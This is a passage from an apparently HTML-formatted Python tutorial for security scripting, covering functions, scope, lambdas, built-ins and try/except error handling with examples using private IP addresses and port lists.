    &lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;scan_all_ports&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;os_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;os_fingerprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;open_ports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os_guess&lt;/span&gt;   &lt;span class="c1"&gt;# Returns tuple
&lt;/span&gt;
&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_host_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Unpack
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 Scope
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Local vs Global scope
&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                            &lt;span class="c1"&gt;# Global variable
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;increment&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;                     &lt;span class="c1"&gt;# Declare we're using the global
&lt;/span&gt;    &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bad_increment&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                       &lt;span class="c1"&gt;# UnboundLocalError — Python thinks counter is local
&lt;/span&gt;
&lt;span class="c1"&gt;# Best practice: avoid global state, pass values as arguments
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;increment_counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                   &lt;span class="c1"&gt;# Pure function — no side effects
&lt;/span&gt;
&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;increment_counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Lambda Functions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Lambda — anonymous one-line function
&lt;/span&gt;&lt;span class="n"&gt;square&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;square&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                       &lt;span class="c1"&gt;# 25
&lt;/span&gt;
&lt;span class="c1"&gt;# Common use: sorting with custom key
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.10&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;sorted_hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Sorted by number of open ports, descending
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.5 Useful Built-in Functions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Essential built-ins every security scripter must know
&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;                  &lt;span class="c1"&gt;# 3
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                       &lt;span class="c1"&gt;# range(0, 10)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;                 &lt;span class="c1"&gt;# [0, 1, 2, ..., 9]
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                   &lt;span class="c1"&gt;# &amp;lt;class 'str'&amp;gt;
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;        &lt;span class="c1"&gt;# True
&lt;/span&gt;
&lt;span class="c1"&gt;# Input/Output
&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Enter target IP: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Map and filter
&lt;/span&gt;&lt;span class="n"&gt;ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;172.16.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;lengths&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;          &lt;span class="c1"&gt;# [11, 8, 11]
&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# Filter
&lt;/span&gt;
&lt;span class="c1"&gt;# Zip — combine two iterables
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;web01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;db01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mail01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.10&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.20&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.30&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;combined&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;       &lt;span class="c1"&gt;# [("web01", "192.168.1.10"), ...]
&lt;/span&gt;&lt;span class="n"&gt;host_map&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;       &lt;span class="c1"&gt;# {"web01": "192.168.1.10", ...}
&lt;/span&gt;
&lt;span class="c1"&gt;# Min, Max, Sum
&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# 22
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# 8080
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                      &lt;span class="c1"&gt;# 8625
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                   &lt;span class="c1"&gt;# [22, 80, 443, 8080]
&lt;/span&gt;
&lt;span class="c1"&gt;# Any and All — check conditions across iterables
&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                    &lt;span class="c1"&gt;# True — at least one True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                    &lt;span class="c1"&gt;# False — not all True
&lt;/span&gt;
&lt;span class="c1"&gt;# Enumerate and zip used together
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; → &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Error Handling
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Why Error Handling Matters in Security Scripts
&lt;/h3&gt;

&lt;p&gt;Security scripts run against external targets — networks that are unreliable, hosts that go offline, services that behave unexpectedly. Without proper error handling, your scanner crashes on the first timeout, your exploit stops at the first failed connection, your log parser dies on the first malformed line.&lt;/p&gt;

&lt;p&gt;Professional security code handles failures gracefully, logs what went wrong, and continues operating.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 try/except/else/finally
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;

&lt;span class="c1"&gt;# Basic try/except
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connected!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connection timed out&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ConnectionRefusedError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port is closed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gaierror&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DNS resolution failed: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unexpected error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                       &lt;span class="c1"&gt;# Always runs, even if exception occurred
&lt;/span&gt;
&lt;span class="c1"&gt;# try/except/else
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;443&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not a valid port number&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Only runs if NO exception occurred
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Valid port: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Catching multiple exceptions
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;connect_to_target&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
